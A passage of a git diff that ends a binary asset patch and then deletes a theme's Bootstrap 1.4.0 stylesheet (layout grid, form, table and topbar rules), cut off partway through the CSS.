zk@(r9h#R5FpacG)j3VDRRz>g49u-o5A=@X`M=nQQ@W&MqFu3+}8)vIJ<N(sT_Zk8X zMLcU+@C0(GanqcI+g=S0kMDE|mIlGu&c=CozOm!OJr0PRi4D`Obo#+t^;Xncwa7ai zdh<9v@cF*U;YbI{iHB@gJAiGAx>yezf?(vDF#3iq72Yg1rU0$uCw``L1fzH6tU=MT zJ)FP#7~BMLoosB<>)Y`BnyxN?%PW`qwa_nrmk;P<^+|3lA$<ii8%uY~81lp=vs^qj zbHc@jPjA%v+=Qq|+H=tEesx$(-?7Mn9R7&2+ZkE|b0%rF{pOe&2PywxrLyZ}ob?{? zS!X14D0!!&R7j4z&a_ZX7E96o-d9#)-rDWl);JNdUKsSn^M1g(Sofin)_^D2A6fsk zK%N&KDHIEtjz^2e+RnzNElc?mvW&i)!L?OOITL^U!tz7HAYtpl+few+Se~$Nk0>cC z!KnRdI-*8rENgl-h*t3^hviocbR?_BCX&(%?-)#H*`RRAUES@w^(0ey@bvFIq^EE0 zYIYPpa4Xz>{9(cUIq~=IuByDHtJskc@OXkoyhOvqjT$BRxhihe#hq<$(TaV?g(bYx zzk*$b_y4xdrKd-u!#@W)7x%!%FE62JOZu)fTpnAUKW94KXQKo9lR9BoI`nN#BV<pu zN$Y&tINUw4JJ60wNhX=$oO%xnS0~8-36@e}lO69__j)7adZ<L2U#u5vwGeo2shUYF zH*Rf1efjD`jdvTV8a6X+&!xQkbfP<z!gz1jlz##Puuh>NL^WLc-2PBnDb`!FkQ6Yw zt8#VMCqN`vOx>8A-pqa3!sg7$vF4w|C29%3h5O_{d+D-|gED!U;S&A}5QU_Uz%?vp zmMBIPvj7qQQG74PJJYIU8KAgcJcJvNO0O6=%8w|@chXvpUX6O34cERMj)m?X)jwit zWYksusgx8zcrOv1Kd4Cm%yUoW#?wfM-ee=?*pXt7dU<wL(ECgNtn7KAcQSgjF$wec z&wNDxS$nw$r4-^(dj0lt)f7DU5?+TTQ7UFh7R=*xI5;Wr=aA7JB?^0SzgQ^V;4r`? zBrN-yp=!hwMFq0PE?Y!UWLSr9S4c>vyZrhI*Zx3!VQzm2&D<yRh#LVfjXeOPcj~wR z5UG;7Ix04MSLbA=`nZloXfY{`*@7=#K0}`VWppv~RO%H}$!V*DNHvZFBHUqfI?CD0 zbx!B4^9`#pqXl&iB{Pv^*lNn33}KeCeaE4o?M=ZBEL9o|=KG==a{vbsI4@1LO3@|! z=#F_^eo|k6WLCD`I?D^lB}ZeRa3j2$+MNG{fZN~d@a`$my6AxPBfp8Irx1gDj_8y_ zB{|_Ko-%@Zv$H~Px&z9e&#zqq`(8HmN?{uv#cDixDOJ%G_;k$j?o_(Za8|9R0~pd~ zhP6EvoFeWkI{=X$R-d0BaUhyb8w0in4s%stxoODXOl;El?W^#yR`?d86Ax#>k2i(z zv;J?=_W|Z`2Nb*9*m`XJ^1ixr>GY^eNXXM8UzHKbJ%`E&g=n<QM>C-&t%U{b2>k}4 zM^eC8z9@VJ)NO6~zgW94x7psn_*GsP&AXPV>|c7+3V*`GDl?NuNHOr8_5jSBY+FrJ zxxFy&omakmacj-wPLUexLeI~s2^i^7j<QS1^o69wqChX$OY6u{tW}exT*h=kf_UuP z+XaMs<6dAuy-kT^H%eXIYHYk4Q!FTjJ*&L%*Q})SYV#u;NgCV`gwN=QJ~!7t_q2+B zpbd_ZMR9D%dyk)}nec)ZXV~q^?S+kxZJj&X5@|w?zO<x_02M#Q3a*5JM8Y&n;d~#^ zX?>diy$lDh;U-ze^bf8Wq&_j48xx9sRj~I0?AI|l`&NRKa0xj_M7{QQP8x>W$llZ# z^2}mA)Bep^+iA@Qw-LK1wT3nbnW#j??18HOX9M~EwO_4MW54*U(nB|yBja(g7FnMC zblZNR)Y{`EcNWNZ9&#=!$@W#;-?`_@7{fb;%BTG<Be%)pb!CB`M;1FsO>aNt!jg%h zP{`+<{G!`T5|=OLq>Z*{Z2O&8zMn16ACVB$Qm``DYk?tjJdb2uC7aci<-`J?E%OU+ zGrN5UtA#%|w#4Z;NP?k$>n!<|SrjF%qnK<QD=|fvQ-`MgFRin=cJ~1?W$Nv-%7>36 z-X#tb9{hRfZswTsPVZBN8H~75sHKLYIz~6u+pKzy#crwlQTpM#$E~+Abk)TD#sz#v zXX8Go`ZaF>B8Zu%M9U<U?k5{O<y&QE7KlDa9?QUr-S}#I$LYUm81UoWaH<><;>RXE zbfFb@39Y9#&~E%DMKl*GIPjFwcNZ7nuMbVEpA0WbvBjM9QA!sp{YiDoe131&NawG0 z)w7{^`zTTBX*b%&r|n~U@dMgnxo!))g;D+Qg=`Xw5@VHk^{hiH?Dbc#u;gsXHzn0i z2)8o6*&Kl>6tpGG-xYv<M}QNBKQ@Z8AUtKe=QqbSl$Amw(w@PJ2Fl*B4kD#B1X|@h zND6v-C(>B-r`9coW<<#c<0|E=wQpY(XerrkkfVOt!t*N?wvbI|9F@&~JQ7q2jXe2H zCW^MvkWX8I-=%fo@BdI{A^py@pAB`s<yjfB3(la;jxJW|8b9;qtmahyAaiMpzZU^P zxD>hd&A{*amKE*X!a7A2Yu?Z%f;af$36@t#hgGI$UAqZQr>(vfUM3&C0L=d07kpTV z65hXXqa6SYLUvQ%beIm#w8HN~d3!4?$?iB2Owr|ut8l>>rMSqaZB}JGncrpN>H)eX z?`{XC$$(nou>9J>y&RJ_GCHrPS%%Jr+GeZ-p;^lV`1YLmyxKN-u#7+}dnx}N%zgXH z$CV1rQyi4eN)t(4&9Ix9{_jMeW*4;LYis@>9EQ2Es^gfy-VKyn0lc8i{7q3yuQV}F zD6Fom;2?qz@ukzYpge~g8?BAWbC}{;E82F=WrGc<q3x&8B^qmty_aky%YQ{CKTGq< zYP!kE(69SylMU^oAELgld(|`QSIDWIzU`!z4rh5Kn4EmCqu{yU{SIwx=mqDK8w<~1 zUPFy^`6*;La<HSR(O`c-+NrbAEnz=wxz=;F=D$%Gr5~UQ*wG%^^eW0ENv91u_qR-a z$S)u&@oi_Fi#yBZUxTms_h&AvlAOS|`l_14f97W-V>0;?er)DQ&9VG84bSn{>9B(k zwM%!e%*jQ~?@0DuS;yYC#^~O_E+}d7VN;GP%ockmCFlj4DNZ%yl_X-Hn$v_=+Er1z z)xF^ugN@xFweaki3bVXB3?uwjsn55R<b|OgeId~Hv@}>D1&YMi6B+jBAEU6|0Y1ne zLxbyOnkM9BHX2f}bHa<7WG>P_pz=aP(B)D(uo1i&yvId9DaA3GTsK?WdG%g5Q5z-% zUfT;wH`Xu@LDvM>F<4<`LiFUdk7UO)oS&1>Rnv!81;V#S1gZ^;byAIw5fmjY3m)nw z?+@SmlmBCWV>bFM8|-jGB{WLeI3o9DaWo<)11@8`kh*v=cN0DNB+st4sz6R#2I0qi z4c&8ZcAexDoiEyzoZJ((D9)8bG%^Z+MCs@_Q)++#Uvn&7#CI<7^ioFM{2qLTEAfMX z#1kD>oACS6EsTK8F}{R&pahvhyt|}$lX5-EzVP=!*jL*U(=7^7%UUF#`g>m(9)4uh zN+-O*&B&PgYQ520)x+!;$#)PXM`Kgq-o1CQLPsDGuSVi?k7|gIEtmv^WewHMkLAio zl1Us*ZM8T5*j_cED4OCIiNDZ{(dj&{3{g&T+~4Y*L((GimlI~v8Q&*2;zNurHxdEX zDgWY5T-u#~Rw6AH53<&eUOA_3sJa+<`S@61`0Z+&gPPC(dA9xY-3vCHs+QQ8y<*H| zq`~2~B6ACGIIhlq0<JP>$V=$vE_&HDcwxCpLD6$_1>ZT*h{SQByL1NMw0+fOj?Wz& zFvJdbQkbJBeJ=wX#hUle7%rUXR$4yPWhM|#t(`DrC+d#^K8*!sRn%{Eee5S%bqSan z?Gaxb6y6;Dw^4Ura3@7~UnV3ahsAZxfc!%uwqZbo@PGj7@>ji1sVn}8fiB(aiz~Jo zTDXK*@oVh~gVo^Iu~o8PQNMj6)RalL?o3^H@pnjZNLWoX&@@;gDJHvX&C-&SZCkAF z?Pux@B3eZQ037cWb&FZMuP+XLz1yG`s8)?SoCs!ygWlxG$PB`Eka2i37Fv)TK{|58 zJti;S=?xo)8?eTei(HD#<H{`dIBo}QZ*qye7Ch&8W=G`>f`Jq8j>vX~5NRzRU9sf_ z>oxtdr~$>ax+OJ;^X)vsSztp0JYJsoQlX{)JP`NN^%4mv6u3oW-hBTdM2W@5-Fze> z9n9nd!<vn@x)+DSqur{lShQR5c_q20z&z9X_VI@tF-sZITiJ8(=%yDq%20jBZq4o? zgCC2nZ#R@cyO{hJ?i_$meOX?m;pkq%(#414r`r1hpFn%A^?fTAk~P~=C0`Omj7x)= z_=sB}!Gp5B>;qg7R6d&M#&&}CPAvA|mF^4XPltG`XZl9!t)5o^flxcEGJRDAZjOjF zQ0Iea%DG$E3bP&!(93|2RCY3l5t3s3J*JOik0=hGeaJ@3@H8tD7<k9<<dKwp&eQ6Z z9|U0$hb)b5lItCim6MC_Nf&^qL{S0zjAEPdi{G~l$mUBpQVcZOtKq$za5*WnwuQO{ zxF$NXUlSh-TEr%CuFbjgKX@wV^CqEZM<ObXOWagY0q?8j*FR)BnR)!IQXA#2X-7RS zQDDqU9@ib_?%osL+z(HZl~m@gbUVL(W{K>CVRqHg&`+R3j0a8@kqB}PI}{$m!yRab zvul5lL(>3*TF>n~)*#hsmwUTtKRAA2Fnk0PENdI!9GrZLu@zyKzs+&m-IKFviqv>& kg1Lm#gqI~e;$iYPkmG5c&N-g{UI@TVLkokN>#mRg2V?7pi2wiq literal 0 HcmV?d00001 diff --git a/assets/themes/twitter/css/1.4.0/bootstrap.css b/assets/themes/twitter/css/1.4.0/bootstrap.css deleted file mode 100644 index a43fcf7..0000000 --- a/assets/themes/twitter/css/1.4.0/bootstrap.css +++ /dev/null @@ -1,356 +0,0 @@ -html,body{margin:0;padding:0;} -h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,abbr,acronym,address,cite,code,del,dfn,em,img,q,s,samp,small,strike,strong,sub,sup,tt,var,dd,dl,dt,li,ol,ul,fieldset,form,label,legend,button,table,caption,tbody,tfoot,thead,tr,th,td{margin:0;padding:0;border:0;font-weight:normal;font-style:normal;font-size:100%;line-height:1;font-family:inherit;} -table{border-collapse:collapse;border-spacing:0;} -ol,ul{list-style:none;} -q:before,q:after,blockquote:before,blockquote:after{content:"";} -html{overflow-y:scroll;font-size:100%;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;} -a:focus{outline:thin dotted;} -a:hover,a:active{outline:0;} -article,aside,details,figcaption,figure,footer,header,hgroup,nav,section{display:block;} -audio,canvas,video{display:inline-block;*display:inline;*zoom:1;} -audio:not([controls]){display:none;} -sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline;} -sup{top:-0.5em;} -sub{bottom:-0.25em;} -img{border:0;-ms-interpolation-mode:bicubic;} -button,input,select,textarea{font-size:100%;margin:0;vertical-align:baseline;*vertical-align:middle;} -button,input{line-height:normal;*overflow:visible;} -button::-moz-focus-inner,input::-moz-focus-inner{border:0;padding:0;} -button,input[type="button"],input[type="reset"],input[type="submit"]{cursor:pointer;-webkit-appearance:button;} -input[type="search"]{-webkit-appearance:textfield;-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;} -input[type="search"]::-webkit-search-decoration{-webkit-appearance:none;} -textarea{overflow:auto;vertical-align:top;} -body{background-color:#ffffff;margin:0;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:13px;font-weight:normal;line-height:18px;color:#404040;} -.container{width:940px;margin-left:auto;margin-right:auto;zoom:1;}.container:before,.container:after{display:table;content:"";zoom:1;} -.container:after{clear:both;} -.container-fluid{position:relative;min-width:940px;padding-left:20px;padding-right:20px;zoom:1;}.container-fluid:before,.container-fluid:after{display:table;content:"";zoom:1;} -.container-fluid:after{clear:both;} -.container-fluid>.sidebar{position:absolute;top:0;left:20px;width:220px;} -.container-fluid>.content{margin-left:240px;} -a{color:#0069d6;text-decoration:none;line-height:inherit;font-weight:inherit;}a:hover{color:#00438a;text-decoration:underline;} -.pull-right{float:right;} -.pull-left{float:left;} -.hide{display:none;} -.show{display:block;} -.row{zoom:1;margin-left:-20px;}.row:before,.row:after{display:table;content:"";zoom:1;} -.row:after{clear:both;} -.row>[class*="span"]{display:inline;float:left;margin-left:20px;} -.span1{width:40px;} -.span2{width:100px;} -.span3{width:160px;} -.span4{width:220px;} -.span5{width:280px;} -.span6{width:340px;} -.span7{width:400px;} -.span8{width:460px;} -.span9{width:520px;} -.span10{width:580px;} -.span11{width:640px;} -.span12{width:700px;} -.span13{width:760px;} -.span14{width:820px;} -.span15{width:880px;} -.span16{width:940px;} -.span17{width:1000px;} -.span18{width:1060px;} -.span19{width:1120px;} -.span20{width:1180px;} -.span21{width:1240px;} -.span22{width:1300px;} -.span23{width:1360px;} -.span24{width:1420px;} -.row>.offset1{margin-left:80px;} -.row>.offset2{margin-left:140px;} -.row>.offset3{margin-left:200px;} -.row>.offset4{margin-left:260px;} -.row>.offset5{margin-left:320px;} -.row>.offset6{margin-left:380px;} -.row>.offset7{margin-left:440px;} -.row>.offset8{margin-left:500px;} -.row>.offset9{margin-left:560px;} -.row>.offset10{margin-left:620px;} -.row>.offset11{margin-left:680px;} -.row>.offset12{margin-left:740px;} -.span-one-third{width:300px;} -.span-two-thirds{width:620px;} -.row>.offset-one-third{margin-left:340px;} -.row>.offset-two-thirds{margin-left:660px;} -p{font-size:13px;font-weight:normal;line-height:18px;margin-bottom:9px;}p small{font-size:11px;color:#bfbfbf;} -h1,h2,h3,h4,h5,h6{font-weight:bold;color:#404040;}h1 small,h2 small,h3 small,h4 small,h5 small,h6 small{color:#bfbfbf;} -h1{margin-bottom:18px;font-size:30px;line-height:36px;}h1 small{font-size:18px;} -h2{font-size:24px;line-height:36px;}h2 small{font-size:14px;} -h3,h4,h5,h6{line-height:36px;} -h3{font-size:18px;}h3 small{font-size:14px;} -h4{font-size:16px;}h4 small{font-size:12px;} -h5{font-size:14px;} -h6{font-size:13px;color:#bfbfbf;text-transform:uppercase;} -ul,ol{margin:0 0 18px 25px;} -ul ul,ul ol,ol ol,ol ul{margin-bottom:0;} -ul{list-style:disc;} -ol{list-style:decimal;} -li{line-height:18px;color:#808080;} -ul.unstyled{list-style:none;margin-left:0;} -dl{margin-bottom:18px;}dl dt,dl dd{line-height:18px;} -dl dt{font-weight:bold;} -dl dd{margin-left:9px;} -hr{margin:20px 0 19px;border:0;border-bottom:1px solid #eee;} -strong{font-style:inherit;font-weight:bold;} -em{font-style:italic;font-weight:inherit;line-height:inherit;} -.muted{color:#bfbfbf;} -blockquote{margin-bottom:18px;border-left:5px solid #eee;padding-left:15px;}blockquote p{font-size:14px;font-weight:300;line-height:18px;margin-bottom:0;} -blockquote small{display:block;font-size:12px;font-weight:300;line-height:18px;color:#bfbfbf;}blockquote small:before{content:'\2014 \00A0';} -address{display:block;line-height:18px;margin-bottom:18px;} -code,pre{padding:0 3px 2px;font-family:Monaco, Andale Mono, Courier New, monospace;font-size:12px;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;} -code{background-color:#fee9cc;color:rgba(0, 0, 0, 0.75);padding:1px 3px;} -pre{background-color:#f5f5f5;display:block;padding:8.5px;margin:0 0 18px;line-height:18px;font-size:12px;border:1px solid #ccc;border:1px solid rgba(0, 0, 0, 0.15);-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;white-space:pre;white-space:pre-wrap;word-wrap:break-word;} -form{margin-bottom:18px;} -fieldset{margin-bottom:18px;padding-top:18px;}fieldset legend{display:block;padding-left:150px;font-size:19.5px;line-height:1;color:#404040;*padding:0 0 5px 145px;*line-height:1.5;} -form .clearfix{margin-bottom:18px;zoom:1;}form .clearfix:before,form .clearfix:after{display:table;content:"";zoom:1;} -form .clearfix:after{clear:both;} -label,input,select,textarea{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:13px;font-weight:normal;line-height:normal;} -label{padding-top:6px;font-size:13px;line-height:18px;float:left;width:130px;text-align:right;color:#404040;} -form .input{margin-left:150px;} -input[type=checkbox],input[type=radio]{cursor:pointer;} -input,textarea,select,.uneditable-input{display:inline-block;width:210px;height:18px;padding:4px;font-size:13px;line-height:18px;color:#808080;border:1px solid #ccc;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;} -select{padding:initial;} -input[type=checkbox],input[type=radio]{width:auto;height:auto;padding:0;margin:3px 0;*margin-top:0;line-height:normal;border:none;} -input[type=file]{background-color:#ffffff;padding:initial;border:initial;line-height:initial;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;} -input[type=button],input[type=reset],input[type=submit]{width:auto;height:auto;} -select,input[type=file]{height:27px;*height:auto;line-height:27px;*margin-top:4px;} -select[multiple]{height:inherit;background-color:#ffffff;} -textarea{height:auto;} -.uneditable-input{background-color:#ffffff;display:block;border-color:#eee;-webkit-box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.025);-moz-box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.025);box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.025);cursor:not-allowed;} -:-moz-placeholder{color:#bfbfbf;} -::-webkit-input-placeholder{color:#bfbfbf;} -input,textarea{-webkit-transition:border linear 0.2s,box-shadow linear 0.2s;-moz-transition:border linear 0.2s,box-shadow linear 0.2s;-ms-transition:border linear 0.2s,box-shadow linear 0.2s;-o-transition:border linear 0.2s,box-shadow linear 0.2s;transition:border linear 0.2s,box-shadow linear 0.2s;-webkit-box-shadow:inset 0 1px 3px rgba(0, 0, 0, 0.1);-moz-box-shadow:inset 0 1px 3px rgba(0, 0, 0, 0.1);box-shadow:inset 0 1px 3px rgba(0, 0, 0, 0.1);} -input:focus,textarea:focus{outline:0;border-color:rgba(82, 168, 236, 0.8);-webkit-box-shadow:inset 0 1px 3px rgba(0, 0, 0, 0.1),0 0 8px rgba(82, 168, 236, 0.6);-moz-box-shadow:inset 0 1px 3px rgba(0, 0, 0, 0.1),0 0 8px rgba(82, 168, 236, 0.6);box-shadow:inset 0 1px 3px rgba(0, 0, 0, 0.1),0 0 8px rgba(82, 168, 236, 0.6);} -input[type=file]:focus,input[type=checkbox]:focus,select:focus{-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;outline:1px dotted #666;} -form .clearfix.error>label,form .clearfix.error .help-block,form .clearfix.error .help-inline{color:#b94a48;} -form .clearfix.error input,form .clearfix.error textarea{color:#b94a48;border-color:#ee5f5b;}form .clearfix.error input:focus,form .clearfix.error textarea:focus{border-color:#e9322d;-webkit-box-shadow:0 0 6px #f8b9b7;-moz-box-shadow:0 0 6px #f8b9b7;box-shadow:0 0 6px #f8b9b7;} -form .clearfix.error .input-prepend .add-on,form .clearfix.error .input-append .add-on{color:#b94a48;background-color:#fce6e6;border-color:#b94a48;} -form .clearfix.warning>label,form .clearfix.warning .help-block,form .clearfix.warning .help-inline{color:#c09853;} -form .clearfix.warning input,form .clearfix.warning textarea{color:#c09853;border-color:#ccae64;}form .clearfix.warning input:focus,form .clearfix.warning textarea:focus{border-color:#be9a3f;-webkit-box-shadow:0 0 6px #e5d6b1;-moz-box-shadow:0 0 6px #e5d6b1;box-shadow:0 0 6px #e5d6b1;} -form .clearfix.warning .input-prepend .add-on,form .clearfix.warning .input-append .add-on{color:#c09853;background-color:#d2b877;border-color:#c09853;} -form .clearfix.success>label,form .clearfix.success .help-block,form .clearfix.success .help-inline{color:#468847;} -form .clearfix.success input,form .clearfix.success textarea{color:#468847;border-color:#57a957;}form .clearfix.success input:focus,form .clearfix.success textarea:focus{border-color:#458845;-webkit-box-shadow:0 0 6px #9acc9a;-moz-box-shadow:0 0 6px #9acc9a;box-shadow:0 0 6px #9acc9a;} -form .clearfix.success .input-prepend .add-on,form .clearfix.success .input-append .add-on{color:#468847;background-color:#bcddbc;border-color:#468847;} -.input-mini,input.mini,textarea.mini,select.mini{width:60px;} -.input-small,input.small,textarea.small,select.small{width:90px;} -.input-medium,input.medium,textarea.medium,select.medium{width:150px;} -.input-large,input.large,textarea.large,select.large{width:210px;} -.input-xlarge,input.xlarge,textarea.xlarge,select.xlarge{width:270px;} -.input-xxlarge,input.xxlarge,textarea.xxlarge,select.xxlarge{width:530px;} -textarea.xxlarge{overflow-y:auto;} -input.span1,textarea.span1{display:inline-block;float:none;width:30px;margin-left:0;} -input.span2,textarea.span2{display:inline-block;float:none;width:90px;margin-left:0;} -input.span3,textarea.span3{display:inline-block;float:none;width:150px;margin-left:0;} -input.span4,textarea.span4{display:inline-block;float:none;width:210px;margin-left:0;} -input.span5,textarea.span5{display:inline-block;float:none;width:270px;margin-left:0;} -input.span6,textarea.span6{display:inline-block;float:none;width:330px;margin-left:0;} -input.span7,textarea.span7{display:inline-block;float:none;width:390px;margin-left:0;} -input.span8,textarea.span8{display:inline-block;float:none;width:450px;margin-left:0;} -input.span9,textarea.span9{display:inline-block;float:none;width:510px;margin-left:0;} -input.span10,textarea.span10{display:inline-block;float:none;width:570px;margin-left:0;} -input.span11,textarea.span11{display:inline-block;float:none;width:630px;margin-left:0;} -input.span12,textarea.span12{display:inline-block;float:none;width:690px;margin-left:0;} -input.span13,textarea.span13{display:inline-block;float:none;width:750px;margin-left:0;} -input.span14,textarea.span14{display:inline-block;float:none;width:810px;margin-left:0;} -input.span15,textarea.span15{display:inline-block;float:none;width:870px;margin-left:0;} -input.span16,textarea.span16{display:inline-block;float:none;width:930px;margin-left:0;} -input[disabled],select[disabled],textarea[disabled],input[readonly],select[readonly],textarea[readonly]{background-color:#f5f5f5;border-color:#ddd;cursor:not-allowed;} -.actions{background:#f5f5f5;margin-top:18px;margin-bottom:18px;padding:17px 20px 18px 150px;border-top:1px solid #ddd;-webkit-border-radius:0 0 3px 3px;-moz-border-radius:0 0 3px 3px;border-radius:0 0 3px 3px;}.actions .secondary-action{float:right;}.actions .secondary-action a{line-height:30px;}.actions .secondary-action a:hover{text-decoration:underline;} -.help-inline,.help-block{font-size:13px;line-height:18px;color:#bfbfbf;} -.help-inline{padding-left:5px;*position:relative;*top:-5px;} -.help-block{display:block;max-width:600px;} -.inline-inputs{color:#808080;}.inline-inputs span{padding:0 2px 0 1px;} -.input-prepend input,.input-append input{-webkit-border-radius:0 3px 3px 0;-moz-border-radius:0 3px 3px 0;border-radius:0 3px 3px 0;} -.input-prepend .add-on,.input-append .add-on{position:relative;background:#f5f5f5;border:1px solid #ccc;z-index:2;float:left;display:block;width:auto;min-width:16px;height:18px;padding:4px 4px 4px 5px;margin-right:-1px;font-weight:normal;line-height:18px;color:#bfbfbf;text-align:center;text-shadow:0 1px 0 #ffffff;-webkit-border-radius:3px 0 0 3px;-moz-border-radius:3px 0 0 3px;border-radius:3px 0 0 3px;} -.input-prepend .active,.input-append .active{background:#a9dba9;border-color:#46a546;} -.input-prepend .add-on{*margin-top:1px;} -.input-append input{float:left;-webkit-border-radius:3px 0 0 3px;-moz-border-radius:3px 0 0 3px;border-radius:3px 0 0 3px;} -.input-append .add-on{-webkit-border-radius:0 3px 3px 0;-moz-border-radius:0 3px 3px 0;border-radius:0 3px 3px 0;margin-right:0;margin-left:-1px;} -.inputs-list{margin:0 0 5px;width:100%;}.inputs-list li{display:block;padding:0;width:100%;} -.inputs-list label{display:block;float:none;width:auto;padding:0;margin-left:20px;line-height:18px;text-align:left;white-space:normal;}.inputs-list label strong{color:#808080;} -.inputs-list label small{font-size:11px;font-weight:normal;} -.inputs-list .inputs-list{margin-left:25px;margin-bottom:10px;padding-top:0;} -.inputs-list:first-child{padding-top:6px;} -.inputs-list li+li{padding-top:2px;} -.inputs-list input[type=radio],.inputs-list input[type=checkbox]{margin-bottom:0;margin-left:-20px;float:left;} -.form-stacked{padding-left:20px;}.form-stacked fieldset{padding-top:9px;} -.form-stacked legend{padding-left:0;} -.form-stacked label{display:block;float:none;width:auto;font-weight:bold;text-align:left;line-height:20px;padding-top:0;} -.form-stacked .clearfix{margin-bottom:9px;}.form-stacked .clearfix div.input{margin-left:0;} -.form-stacked .inputs-list{margin-bottom:0;}.form-stacked .inputs-list li{padding-top:0;}.form-stacked .inputs-list li label{font-weight:normal;padding-top:0;} -.form-stacked div.clearfix.error{padding-top:10px;padding-bottom:10px;padding-left:10px;margin-top:0;margin-left:-10px;} -.form-stacked .actions{margin-left:-20px;padding-left:20px;} -table{width:100%;margin-bottom:18px;padding:0;font-size:13px;border-collapse:collapse;}table th,table td{padding:10px 10px 9px;line-height:18px;text-align:left;} -table th{padding-top:9px;font-weight:bold;vertical-align:middle;} -table td{vertical-align:top;border-top:1px solid #ddd;} -table tbody th{border-top:1px solid #ddd;vertical-align:top;} -.condensed-table th,.condensed-table td{padding:5px 5px 4px;} -.bordered-table{border:1px solid #ddd;border-collapse:separate;*border-collapse:collapse;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;}.bordered-table th+th,.bordered-table td+td,.bordered-table th+td{border-left:1px solid #ddd;} -.bordered-table thead tr:first-child th:first-child,.bordered-table tbody tr:first-child td:first-child{-webkit-border-radius:4px 0 0 0;-moz-border-radius:4px 0 0 0;border-radius:4px 0 0 0;} -.bordered-table thead tr:first-child th:last-child,.bordered-table tbody tr:first-child td:last-child{-webkit-border-radius:0 4px 0 0;-moz-border-radius:0 4px 0 0;border-radius:0 4px 0 0;} -.bordered-table tbody tr:last-child td:first-child{-webkit-border-radius:0 0 0 4px;-moz-border-radius:0 0 0 4px;border-radius:0 0 0 4px;} -.bordered-table tbody tr:last-child td:last-child{-webkit-border-radius:0 0 4px 0;-moz-border-radius:0 0 4px 0;border-radius:0 0 4px 0;} -table .span1{width:20px;} -table .span2{width:60px;} -table .span3{width:100px;} -table .span4{width:140px;} -table .span5{width:180px;} -table .span6{width:220px;} -table .span7{width:260px;} -table .span8{width:300px;} -table .span9{width:340px;} -table .span10{width:380px;} -table .span11{width:420px;} -table .span12{width:460px;} -table .span13{width:500px;} -table .span14{width:540px;} -table .span15{width:580px;} -table .span16{width:620px;} -.zebra-striped tbody tr:nth-child(odd) td,.zebra-striped tbody tr:nth-child(odd) th{background-color:#f9f9f9;} -.zebra-striped tbody tr:hover td,.zebra-striped tbody tr:hover th{background-color:#f5f5f5;} -table .header{cursor:pointer;}table .header:after{content:"";float:right;margin-top:7px;border-width:0 4px 4px;border-style:solid;border-color:#000 transparent;visibility:hidden;} -table .headerSortUp,table .headerSortDown{background-color:rgba(141, 192, 219, 0.25);text-shadow:0 1px 1px rgba(255, 255, 255, 0.75);} -table .header:hover:after{visibility:visible;} -table .headerSortDown:after,table .headerSortDown:hover:after{visibility:visible;filter:alpha(opacity=60);-khtml-opacity:0.6;-moz-opacity:0.6;opacity:0.6;} -table .headerSortUp:after{border-bottom:none;border-left:4px solid transparent;border-right:4px solid transparent;border-top:4px solid #000;visibility:visible;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;filter:alpha(opacity=60);-khtml-opacity:0.6;-moz-opacity:0.6;opacity:0.6;} -table .blue{color:#049cdb;border-bottom-color:#049cdb;} -table .headerSortUp.blue,table .headerSortDown.blue{background-color:#ade6fe;} -table .green{color:#46a546;border-bottom-color:#46a546;} -table .headerSortUp.green,table .headerSortDown.green{background-color:#cdeacd;} -table .red{color:#9d261d;border-bottom-color:#9d261d;} -table .headerSortUp.red,table .headerSortDown.red{background-color:#f4c8c5;} -table .yellow{color:#ffc40d;border-bottom-color:#ffc40d;} -table .headerSortUp.yellow,table .headerSortDown.yellow{background-color:#fff6d9;} -table .orange{color:#f89406;border-bottom-color:#f89406;} -table .headerSortUp.orange,table .headerSortDown.orange{background-color:#fee9cc;} -table .purple{color:#7a43b6;border-bottom-color:#7a43b6;} -table .headerSortUp.purple,table .headerSortDown.purple{background-color:#e2d5f0;} -.topbar{height:40px;position:fixed;top:0;left:0;right:0;z-index:10000;overflow:visible;}.topbar a{color:#bfbfbf;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);} -.topbar h3 a:hover,.topbar .brand:hover,.topbar ul .active>a{background-color:#333;background-color:rgba(255, 255, 255, 0.05);color:#ffffff;text-decoration:none;} -.topbar h3{position:relative;} -.topbar h3 a,.topbar .brand{float:left;display:block;padding:8px 20px 12px;margin-left:-20px;color:#ffffff;font-size:20px;font-weight:200;line-height:1;} -.topbar p{margin:0;line-height:40px;}.topbar p a:hover{background-color:transparent;color:#ffffff;} -.topbar form{float:left;margin:5px 0 0 0;position:relative;filter:alpha(opacity=100);-khtml-opacity:1;-moz-opacity:1;opacity:1;} -.topbar form.pull-right{float:right;} -.topbar input{background-color:#444;background-color:rgba(255, 255, 255, 0.3);font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:normal;font-weight:13px;line-height:1;padding:4px 9px;color:#ffffff;color:rgba(255, 255, 255, 0.75);border:1px solid #111;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.1),0 1px 0px rgba(255, 255, 255, 0.25);-moz-box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.1),0 1px 0px rgba(255, 255, 255, 0.25);box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.1),0 1px 0px rgba(255, 255, 255, 0.25);-webkit-transition:none;-moz-transition:none;-ms-transition:none;-o-transition:none;transition:none;}.topbar input:-moz-placeholder{color:#e6e6e6;} -.topbar input::-webkit-input-placeholder{color:#e6e6e6;} -.topbar input:hover{background-color:#bfbfbf;background-color:rgba(255, 255, 255, 0.5);color:#ffffff;} -.topbar input:focus,.topbar input.focused{outline:0;background-color:#ffffff;color:#404040;text-shadow:0 1px 0 #ffffff;border:0;padding:5px 10px;-webkit-box-shadow:0 0 3px rgba(0, 0, 0, 0.15);-moz-box-shadow:0 0 3px rgba(0, 0, 0, 